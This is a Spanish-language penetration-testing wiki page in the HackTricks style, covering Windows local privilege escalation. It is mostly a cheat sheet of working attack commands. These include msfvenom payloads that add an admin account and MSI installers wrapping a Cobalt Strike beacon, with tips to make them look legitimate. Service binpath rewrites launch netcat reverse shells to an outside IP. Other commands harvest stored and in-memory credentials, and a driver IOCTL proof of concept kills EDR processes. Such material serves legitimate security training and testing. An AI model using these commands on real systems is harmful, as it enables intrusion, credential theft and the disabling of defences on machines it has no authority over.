Windows Local Privilege Escalation

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Best tool to look for Windows local privilege escalation vectors: WinPEAS

Teoría inicial de Windows

Access Tokens

Si no sabes qué son los Windows Access Tokens, lee la siguiente página antes de continuar:

Access Tokens

ACLs - DACLs/SACLs/ACEs

Consulta la siguiente página para más información sobre ACLs - DACLs/SACLs/ACEs:

ACLs - DACLs/SACLs/ACEs

Integrity Levels

Si no sabes qué son los integrity levels en Windows, deberías leer la siguiente página antes de continuar:

Integrity Levels

Controles de seguridad de Windows

Hay diferentes elementos en Windows que podrían impedirte enumerar el sistema, ejecutar binarios o incluso detectar tus actividades. Deberías leer la siguiente página y enumerar todos estos mecanismos de defensa antes de comenzar la enumeración de privilege escalation:

Windows Security Controls

Información del sistema

Enumeración de información de versión

Comprueba si la versión de Windows tiene alguna vulnerabilidad conocida (revisa también los parches aplicados).

systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture

[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

Exploits por versión

Este site es útil para buscar información detallada sobre vulnerabilidades de seguridad de Microsoft. Esta base de datos contiene más de 4,700 vulnerabilidades de seguridad, mostrando la massive attack surface que presenta un entorno Windows.

En el sistema

  • post/windows/gather/enum_patches
  • post/multi/recon/local_exploit_suggester
  • watson
  • winpeas (Winpeas tiene watson integrado)

Localmente con información del sistema

Repositorios de exploits en Github:

Entorno

¿Alguna credencial/Juicy info guardada en las env variables?

set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize

Historial de PowerShell

ConsoleHost_history #Find the PATH where is saved

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

Archivos de transcripción de PowerShell

Puedes aprender cómo habilitar esto en https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/

#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts

#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript

PowerShell Module Logging

Los detalles de las ejecuciones del pipeline de PowerShell se registran, abarcando los comandos ejecutados, las invocaciones de comandos y partes de scripts. Sin embargo, no siempre se capturan los detalles completos de la ejecución ni los resultados de salida.

Para habilitar esto, sigue las instrucciones en la sección “Transcript files” de la documentación, optando por “Module Logging” en lugar de “Powershell Transcription”.

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging

Para ver los últimos 15 eventos de los registros de PowersShell puedes ejecutar:

Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView

PowerShell Script Block Logging

Se captura un registro completo de la actividad y del contenido íntegro de la ejecución del script, asegurando que cada bloque de código quede documentado mientras se ejecuta. Este proceso preserva una traza de auditoría exhaustiva de cada actividad, valiosa para el análisis forense y el estudio de comportamientos maliciosos. Al documentar toda la actividad en el momento de la ejecución, se obtiene información detallada sobre el proceso.

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

Los eventos de registro para el Script Block pueden localizarse dentro del Windows Event Viewer en la ruta: Application and Services Logs > Microsoft > Windows > PowerShell > Operational.
Para ver los últimos 20 eventos puedes usar:

Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview

Configuración de Internet

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

Unidades

wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

WSUS

Puedes comprometer el sistema si las actualizaciones no se solicitan usando httpS sino http.

Empieza por comprobar si la red usa una actualización WSUS sin SSL ejecutando lo siguiente en cmd:

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

O lo siguiente en PowerShell:

Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"

Si recibes una respuesta como alguna de estas:

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535

WUServer     : http://xxxx-updxx.corp.internal.com:8530
PSPath       : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName  : windowsupdate
PSDrive      : HKLM
PSProvider   : Microsoft.PowerShell.Core\Registry

Y si HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer o Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver" es igual a 1.

Entonces, es explotable. Si el último registro es igual a 0, entonces la entrada WSUS será ignorada.

Para explotar estas vulnerabilidades puedes usar herramientas como: Wsuxploit, pyWSUS - Estos son scripts exploit weaponizados MiTM para inyectar actualizaciones ‘falsas’ en el tráfico WSUS no cifrado (non-SSL).

Lee la investigación aquí:

WSUS CVE-2020-1013

Read the complete report here.
Básicamente, este es el fallo que explota:

If we have the power to modify our local user proxy, and Windows Updates uses the proxy configured in Internet Explorer’s settings, we therefore have the power to run PyWSUS locally to intercept our own traffic and run code as an elevated user on our asset.

Furthermore, since the WSUS service uses the current user’s settings, it will also use its certificate store. If we generate a self-signed certificate for the WSUS hostname and add this certificate into the current user’s certificate store, we will be able to intercept both HTTP and HTTPS WSUS traffic. WSUS uses no HSTS-like mechanisms to implement a trust-on-first-use type validation on the certificate. If the certificate presented is trusted by the user and has the correct hostname, it will be accepted by the service.

Puedes explotar esta vulnerabilidad usando la herramienta WSUSpicious (una vez que esté liberada).

Third-Party Auto-Updaters and Agent IPC (local privesc)

Muchos agentes empresariales exponen una superficie IPC en localhost y un canal de actualización privilegiado. Si el enrollment puede ser forzado hacia un servidor del atacante y el updater confía en una rogue root CA o tiene verificaciones de firma débiles, un usuario local puede entregar un MSI malicioso que el servicio SYSTEM instala. Consulta una técnica generalizada (basada en la cadena Netskope stAgentSvc – CVE-2025-0309) aquí:

Abusing Auto Updaters And Ipc

KrbRelayUp

Una vulnerabilidad de local privilege escalation existe en entornos de domain de Windows bajo condiciones específicas. Estas condiciones incluyen entornos donde LDAP signing is not enforced, los usuarios poseen derechos que les permiten configurar Resource-Based Constrained Delegation (RBCD), y la capacidad de que los usuarios creen equipos dentro del dominio. Es importante notar que estos requisitos se cumplen con la configuración por defecto.

Find the exploit in https://github.com/Dec0ne/KrbRelayUp

For more information about the flow of the attack check https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/

AlwaysInstallElevated

If these 2 registers are enabled (value is 0x1), then users of any privilege can install (execute) *.msi files as NT AUTHORITY\SYSTEM.

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Metasploit payloads

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted

Si tienes una sesión meterpreter puedes automatizar esta técnica usando el módulo exploit/windows/local/always_install_elevated

PowerUP

Usa el comando Write-UserAddMSI de power-up para crear dentro del directorio actual un binario MSI de Windows para escalar privilegios. Este script escribe un instalador MSI precompilado que solicita la adición de un usuario/grupo (por lo que necesitarás acceso GIU):

Write-UserAddMSI

Simplemente ejecuta el binario creado para escalar privilegios.

MSI Wrapper

Read this tutorial to learn how to create a MSI wrapper using this tools. Note that you can wrap a “.bat” file if you just want to execute command lines

MSI Wrapper

Crear MSI con WIX

Create MSI with WIX

Crear MSI con Visual Studio

  • Genera con Cobalt Strike o Metasploit un new Windows EXE TCP payload en C:\privesc\beacon.exe
  • Abre Visual Studio, selecciona Create a new project y escribe “installer” en el cuadro de búsqueda. Selecciona el proyecto Setup Wizard y haz clic en Next.
  • Dale al proyecto un nombre, como AlwaysPrivesc, usa C:\privesc para la ubicación, selecciona place solution and project in the same directory, y haz clic en Create.
  • Sigue haciendo clic en Next hasta llegar al paso 3 de 4 (choose files to include). Haz clic en Add y selecciona el Beacon payload que acabas de generar. Luego haz clic en Finish.
  • Resalta el proyecto AlwaysPrivesc en el Solution Explorer y en las Properties, cambia TargetPlatform de x86 a x64.
  • Hay otras propiedades que puedes cambiar, como Author y Manufacturer, que pueden hacer que la aplicación instalada parezca más legítima.
  • Haz clic derecho en el proyecto y selecciona View > Custom Actions.
  • Haz clic derecho en Install y selecciona Add Custom Action.
  • Haz doble clic en Application Folder, selecciona tu archivo beacon.exe y haz clic en OK. Esto asegurará que el beacon payload se ejecute tan pronto como se ejecute el instalador.
  • En Custom Action Properties, cambia Run64Bit a True.
  • Finalmente, compílalo.
  • Si se muestra la advertencia File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86', asegúrate de haber establecido la plataforma en x64.

Instalación del MSI

Para ejecutar la instalación del archivo malicioso .msi en background:

msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

Para explotar esta vulnerabilidad puedes usar: exploit/windows/local/always_install_elevated

Antivirus y detectores

Configuración de auditoría

Estos ajustes deciden qué se está registrando, por lo que deberías prestar atención

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit

WEF

Windows Event Forwarding: es interesante saber a dónde se envían los logs

reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager

LAPS

LAPS está diseñado para la gestión de las contraseñas del Administrador local, asegurando que cada contraseña sea única, aleatoria y se actualice regularmente en equipos unidos a un dominio. Estas contraseñas se almacenan de forma segura en Active Directory y solo pueden ser accedidas por usuarios que hayan recibido permisos suficientes a través de ACLs, permitiéndoles ver las contraseñas de administrador local si están autorizados.

LAPS

WDigest

Si está activo, las contraseñas en texto plano se almacenan en LSASS (Servicio de Subsistema de Autoridad de Seguridad Local).
More info about WDigest in this page.

reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential

Protección LSA

A partir de Windows 8.1, Microsoft introdujo una protección mejorada para la Local Security Authority (LSA) para bloquear los intentos de procesos no confiables de leer su memoria o inyectar código, reforzando la seguridad del sistema.
Más información sobre LSA Protection aquí.

reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL

Credentials Guard

Credential Guard fue introducido en Windows 10. Su propósito es proteger las credenciales almacenadas en un dispositivo contra amenazas como los ataques pass-the-hash.| More info about Credentials Guard here.

reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags

Cached Credentials

Domain credentials se autentican por la Local Security Authority (LSA) y son utilizadas por componentes del sistema operativo. Cuando los datos de inicio de sesión de un usuario son autenticados por un paquete de seguridad registrado, por lo general se establecen domain credentials para el usuario.
Más información sobre Cached Credentials aquí.

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT

Usuarios & Grupos

Enumerar Usuarios & Grupos

Deberías comprobar si alguno de los grupos a los que perteneces tiene permisos interesantes

# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges

# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

Grupos privilegiados

Si perteneces a algún grupo privilegiado, podrías escalar privilegios. Aprende sobre los grupos privilegiados y cómo abusar de ellos para escalar privilegios aquí:

Privileged Groups

Token manipulation

Aprende más sobre qué es un token en esta página: Windows Tokens.
Revisa la siguiente página para aprender sobre tokens interesantes y cómo abusar de ellos:

Abusing Tokens

Usuarios conectados / Sesiones

qwinsta
klist sessions

Carpetas de inicio

dir C:\Users
Get-ChildItem C:\Users

Política de contraseñas

net accounts

Obtener el contenido del portapapeles

powershell -command "Get-Clipboard"

Procesos en ejecución

Permisos de archivos y carpetas

Antes que nada, al listar los procesos, comprueba si hay contraseñas en la línea de comandos de algún proceso.
Comprueba si puedes sobrescribir algún binary en ejecución o si tienes permisos de escritura en la carpeta del binary para explotar posibles DLL Hijacking attacks:

Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes

#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

Siempre comprueba si hay posibles electron/cef/chromium debuggers running, you could abuse it to escalate privileges.

Comprobando permisos de los procesos binaries

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)

Comprobando los permisos de las carpetas de los binarios de los procesos (DLL Hijacking)

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)

Memory Password mining

Puedes crear un memory dump de un proceso en ejecución usando procdump de sysinternals. Servicios como FTP suelen contener las credentials in clear text in memory; intenta hacer un dump de la memoria y leer las credentials.

procdump.exe -accepteula -ma <proc_name_tasklist>

Aplicaciones GUI inseguras

Las aplicaciones que se ejecutan como SYSTEM pueden permitir a un usuario abrir un CMD o explorar directorios.

Ejemplo: “Windows Help and Support” (Windows + F1), busca “command prompt”, haz clic en “Click to open Command Prompt”

Servicios

Los Service Triggers permiten que Windows inicie un servicio cuando ocurren ciertas condiciones (named pipe/RPC endpoint activity, ETW events, IP availability, device arrival, GPO refresh, etc.). Incluso sin derechos SERVICE_START, a menudo puedes iniciar servicios privilegiados activando sus triggers. Consulta técnicas de enumeración y activación aquí:

Service Triggers

Obtén una lista de servicios:

net start
wmic service list brief
sc query
Get-Service

Permisos

Puedes usar sc para obtener información sobre un servicio

sc qc <service_name>

Se recomienda tener el binario accesschk de Sysinternals para comprobar el nivel de privilegio requerido para cada servicio.

accesschk.exe -ucqv <Service_Name> #Check rights for different groups

Se recomienda comprobar si “Authenticated Users” pueden modificar algún servicio:

accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version

You can download accesschk.exe for XP for here

Habilitar servicio

Si tienes este error (por ejemplo con SSDPSRV):

System error 1058 has occurred.
The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.

Puedes habilitarlo usando

sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""

Ten en cuenta que el servicio upnphost depende de SSDPSRV para funcionar (para XP SP1)

Otra solución a este problema es ejecutar:

sc.exe config usosvc start= auto

Modificar la ruta del binario del servicio

En el escenario donde el grupo “Authenticated users” posee SERVICE_ALL_ACCESS sobre un servicio, es posible modificar el binario ejecutable del servicio. Para modificar y ejecutar sc:

sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"

sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"

Reiniciar el servicio

wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]

Los privilegios pueden escalarse mediante varios permisos:

  • SERVICE_CHANGE_CONFIG: Permite la reconfiguración del binario del servicio.
  • WRITE_DAC: Habilita la reconfiguración de permisos, lo que conduce a la capacidad de cambiar las configuraciones del servicio.
  • WRITE_OWNER: Permite la adquisición de la propiedad y la reconfiguración de permisos.
  • GENERIC_WRITE: Hereda la capacidad de cambiar las configuraciones del servicio.
  • GENERIC_ALL: También hereda la capacidad de cambiar las configuraciones del servicio.

Para la detección y explotación de esta vulnerabilidad, se puede utilizar exploit/windows/local/service_permissions.

Permisos débiles en binarios de servicios

Comprueba si puedes modificar el binario que es ejecutado por un servicio o si tienes permisos de escritura en la carpeta donde se encuentra el binario (DLL Hijacking).
Puedes obtener todos los binarios que ejecuta un servicio usando wmic (not in system32) y comprobar tus permisos usando icacls:

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt

for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"

También puedes usar sc y icacls:

sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt

Permisos para modificar el registro de servicios

Deberías comprobar si puedes modificar algún registro de servicios.
Puedes comprobar tus permisos sobre un registro de servicios haciendo:

reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services

#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"

Se debe comprobar si Authenticated Users o NT AUTHORITY\INTERACTIVE poseen permisos FullControl. Si es así, el binario ejecutado por el servicio puede ser modificado.

Para cambiar la ruta del binario ejecutado:

reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

Permisos AppendData/AddSubdirectory del registro de servicios

Si tienes este permiso sobre una clave del registro, esto significa que puedes crear subclaves de registro a partir de ésta. En el caso de los servicios de Windows, esto es suficiente para ejecutar código arbitrario:

AppendData/AddSubdirectory permission over service registry

Rutas de servicio sin comillas

Si la ruta a un ejecutable no está entre comillas, Windows intentará ejecutar cada segmento final antes de un espacio.

Por ejemplo, para la ruta C:\Program Files\Some Folder\Service.exe Windows intentará ejecutar:

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

Enumera todas las rutas de servicio sin comillas, excluyendo las pertenecientes a los servicios integrados de Windows:

wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"'  # Not only auto services

# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose

for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)

gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

Puedes detectar y explotar esta vulnerabilidad con metasploit: exploit/windows/local/trusted\_service\_path Puedes crear manualmente un binario de servicio con metasploit:

msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe

Acciones de recuperación

Windows permite a los usuarios especificar acciones a realizar si un servicio falla. Esta función puede configurarse para apuntar a un binary. Si este binary es reemplazable, podría ser posible una privilege escalation. Más detalles se pueden encontrar en la official documentation.

Aplicaciones

Aplicaciones instaladas

Comprueba los permisos de los binaries (quizá puedas overwrite uno y escalate privileges) y de las carpetas (DLL Hijacking).

dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

Permisos de escritura

Comprueba si puedes modificar algún archivo de configuración para leer algún archivo especial o si puedes modificar algún binario que vaya a ser ejecutado por una cuenta de Administrador (schedtasks).

Una forma de encontrar permisos débiles en carpetas/archivos del sistema es hacer:

accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*

icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

Ejecutar al inicio

Comprueba si puedes sobrescribir alguna clave del registro o un binario que vaya a ser ejecutado por otro usuario.
Lee la siguiente página para aprender más sobre ubicaciones interesantes de autoruns para escalar privilegios:

Privilege Escalation with Autoruns

Drivers

Busca posibles drivers de terceros extraños/vulnerables

driverquery
driverquery.exe /fo table
driverquery /SI

Si un driver expone una primitiva de lectura/escritura arbitraria del kernel (común en manejadores IOCTL mal diseñados), puedes escalar robando un token SYSTEM directamente de la memoria del kernel. Ve la técnica paso a paso aquí:

Arbitrary Kernel Rw Token Theft

Para bugs de condición de carrera donde la llamada vulnerable abre una ruta del Object Manager controlada por el atacante, ralentizar deliberadamente la búsqueda (usando componentes de longitud máxima o cadenas de directorios profundas) puede ampliar la ventana de microsegundos a decenas de microsegundos:

Kernel Race Condition Object Manager Slowdown

Primitivas de corrupción de memoria de Registry hive

Las vulnerabilidades modernas de hive te permiten preparar diseños deterministas, abusar de descendientes escribibles de HKLM/HKU y convertir la corrupción de metadatos en desbordamientos del paged-pool del kernel sin un driver personalizado. Aprende la cadena completa aquí:

Windows Registry Hive Exploitation

Abuso de la ausencia de FILE_DEVICE_SECURE_OPEN en device objects (LPE + EDR kill)

Algunos drivers de terceros firmados crean su device object con un SDDL fuerte vía IoCreateDeviceSecure pero olvidan establecer FILE_DEVICE_SECURE_OPEN en DeviceCharacteristics. Sin esta bandera, el DACL seguro no se aplica cuando el dispositivo se abre a través de una ruta que contiene un componente extra, permitiendo que cualquier usuario sin privilegios obtenga un handle usando una ruta de namespace como:

  • \ .\DeviceName\anything
  • \ .\amsdk\anyfile (from a real-world case)

Una vez que un usuario puede abrir el dispositivo, los IOCTLs privilegiados expuestos por el driver pueden abusarse para LPE y manipulación. Capacidades de ejemplo observadas en entornos reales:

  • Devolver handles con acceso completo a procesos arbitrarios (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser).
  • Lectura/escritura directa del disco sin restricciones (offline tampering, trucos de persistencia durante el arranque).
  • Terminar procesos arbitrarios, incluidos Protected Process/Light (PP/PPL), permitiendo terminar AV/EDR desde el espacio de usuario vía el kernel.

Patrón mínimo de PoC (modo de usuario):

// Example based on a vulnerable antimalware driver
#define IOCTL_REGISTER_PROCESS  0x80002010
#define IOCTL_TERMINATE_PROCESS 0x80002048

HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
DWORD me = GetCurrentProcessId();
DWORD target = /* PID to kill or open */;
DeviceIoControl(h, IOCTL_REGISTER_PROCESS,  &me,     sizeof(me),     0, 0, 0, 0);
DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0);

Mitigaciones para desarrolladores

  • Siempre establezca FILE_DEVICE_SECURE_OPEN al crear objetos de dispositivo destinados a estar restringidos por una DACL.
  • Valide el contexto del llamador para operaciones privilegiadas. Agregue comprobaciones PP/PPL antes de permitir la terminación de procesos o la devolución de handles.
  • Restringa los IOCTLs (máscaras de acceso, METHOD_*, validación de entrada) y considere modelos brokered en lugar de privilegios directos del kernel.

Ideas de detección para defensores

  • Monitoree aperturas en user-mode de nombres de dispositivo sospechosos (p. ej., \ .\amsdk*) y secuencias específicas de IOCTL indicativas de abuso.
  • Aplique la lista de bloqueo de controladores vulnerables de Microsoft (HVCI/WDAC/Smart App Control) y mantenga sus propias listas de permitidos/denegados.

PATH DLL Hijacking

If you have write permissions inside a folder present on PATH you could be able to hijack a DLL loaded by a process and escalate privileges.

Compruebe los permisos de todas las carpetas dentro de PATH:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

Para más información sobre cómo abusar de esta comprobación:

Writable Sys Path +Dll Hijacking Privesc

Red

Recursos compartidos

net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

archivo hosts

Comprueba si hay otros equipos conocidos codificados (hardcoded) en el archivo hosts

type C:\Windows\System32\drivers\etc\hosts

Interfaces de red & DNS

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Puertos abiertos

Comprueba si hay servicios restringidos accesibles desde el exterior

netstat -ano #Opened ports?

Tabla de enrutamiento

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

Tabla ARP

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L

Firewall Rules

Check this page for Firewall related commands (listar reglas, crear reglas, desactivar, desactivar…)

Más commands for network enumeration here

Subsistema de Windows para Linux (wsl)

C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe

El binario bash.exe también se puede encontrar en C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe

Si consigues root user, puedes escuchar en cualquier puerto (la primera vez que uses nc.exe para escuchar en un puerto te preguntará vía GUI si nc debe ser permitido por el firewall).

wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'

Para iniciar bash fácilmente como root, puedes probar --default-user root

Puedes explorar el sistema de archivos de WSL en la carpeta C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\

Credenciales de Windows

Credenciales de Winlogon

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"

#Other way
